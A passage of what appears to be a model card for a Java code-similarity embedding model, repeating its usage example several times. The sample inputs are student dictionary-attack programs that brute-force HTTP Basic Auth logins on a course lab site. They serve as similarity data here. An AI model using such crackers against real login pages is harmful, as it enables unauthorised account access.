Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java 